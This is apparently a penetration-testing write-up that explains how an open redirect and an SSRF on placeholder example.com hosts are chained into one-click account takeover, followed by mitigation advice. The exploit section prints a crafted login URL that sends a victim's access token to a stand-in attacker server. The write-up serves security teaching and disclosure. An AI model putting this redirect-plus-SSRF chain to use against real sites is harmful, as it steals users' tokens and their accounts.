> For the complete documentation index, see [llms.txt](https://h1ntr0x1.gitbook.io/pl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h1ntr0x1.gitbook.io/pl/pentesting/webengagements/one-click-ato.md).
# One-Click-ATO
From Useless Open Redirect and Useless SSRF to Full Account Takeover.
## **Introduction**
In modern web applications, vulnerabilities often coexist in a complex ecosystem of features and endpoints. While a single vulnerability might seem harmless, when combined with another, it can lead to severe consequences. This write-up details how I'm, **z1x**, during a penetration testing engagement @[*BugSwagger LLC*](https://bugswagger.com/), chained an useless open redirect vulnerability with a server-side request forgery (SSRF) to achieve a full account takeover, bypassing security mechanisms that might otherwise seem robust.
## **Vulnerability 1: Whitelisted Open Redirect**
The journey begins with a whitelisted open redirect vulnerability in the login flow of `*.example.com`. Open redirects are often considered zero-risk, but when improperly implemented, they can be a gateway to more significant exploits.
### **Identifying the Issue**
The application’s login endpoint at `account.example.com` allows redirection to any subdomain within `*.example.com` after successful authentication. The vulnerable URL looks like this:
```python
https://account.example.com/login?signin=admin&redirect-to=*.example.com
```
White Listed and Useless Open Redirect
After processing, the application redirects users along with an access token:
```python
https://app.example.com/?accsestoken=eyJ***************.eyJ***************.yCY5k***********0rfvZ51WzcHSe3NBrS8
```
This redirection behavior, combined with the inclusion of an access token, sets the stage for a potential attack.
Account JWT Leaked In GET Request
## **Vulnerability 2: SSRF on a Whitelisted Subdomain**
Next, we discovered an SSRF vulnerability within the API subdomain `api.example.com`. SSRF vulnerabilities allow an attacker to make arbitrary HTTP requests from the server, potentially accessing internal services or even the internet.
### **Examining the SSRF Endpoint**
The vulnerable API endpoint is designed to reverse file contents and is accessible via the following URL:
```python
https://api.example.com/v1/files/reverse?target=http://HTTP-SERVER.COM/
```
Useless SSRF Interaction
Normally, this SSRF might be limited in scope, especially if the server is well-segmented. However, the fact that `api.example.com` is a whitelisted subdomain in the open redirect functionality adds a critical dimension to this vulnerability.
## **Chaining the Vulnerabilities**
Here’s where the magic happens. By combining the open redirect vulnerability with the SSRF, we can escalate the situation dramatically.
### **Crafting the Exploit**
We can exploit the open redirect by targeting the SSRF endpoint directly:
```python
https://account.example.com/login?signin=admin&redirect-to=https://api.example.com/v1/files/reverse?target=http://our-httpserver/?token=
```
This crafted URL does the following:
1. **Step 1:** The user authenticates at `account.example.com`, which then attempts to redirect them to a whitelisted subdomain.
2. **Step 2:** The redirect targets the SSRF endpoint at `api.example.com` instead of the intended `app.example.com`.
3. **Step 3:** The SSRF endpoint is tricked into making a request to our server (`http://our-httpserver/?token=`), effectively leaking the access token.
JWT of Victim Leaked After Clicking Crafted URL
### **Achieving Account Takeover**
With the access token in hand, we can craft a legitimate request to `app.example.com`:
```python
https://app.example.com/?accses_token=eyJ***************.eyJ***************.yCY5k***********0rfvZ51WzcHSe3NBrS8
```
This allows us to impersonate the victim user and take over their account, all from a seemingly innocuous open redirect combined with a simple SSRF.
## **Mitigation Strategies**
To prevent such exploits, consider the following strategies:
* **Tighten Whitelists:** Avoid overly broad whitelists for redirects. Only allow specific, necessary domains.
* **Token Handling:** Avoid including sensitive tokens in URLs. Use secure storage mechanisms like cookies with HTTP-only flags.
* **SSRF Protections:** Implement strict input validation and response filtering for SSRF-prone endpoints.
## **Conclusion**
This case illustrates how two vulnerabilities, which might be considered low-risk individually, can be chained to create a critical security breach. It’s a reminder that thorough vulnerability analysis must consider the potential for chaining attacks, and developers should build security mechanisms with this in mind. My experience @[*BugSwagger LLC*](https://bugswagger.com/) highlights the importance of understanding how different vulnerabilities interact within a system, ultimately helping secure our digital future.
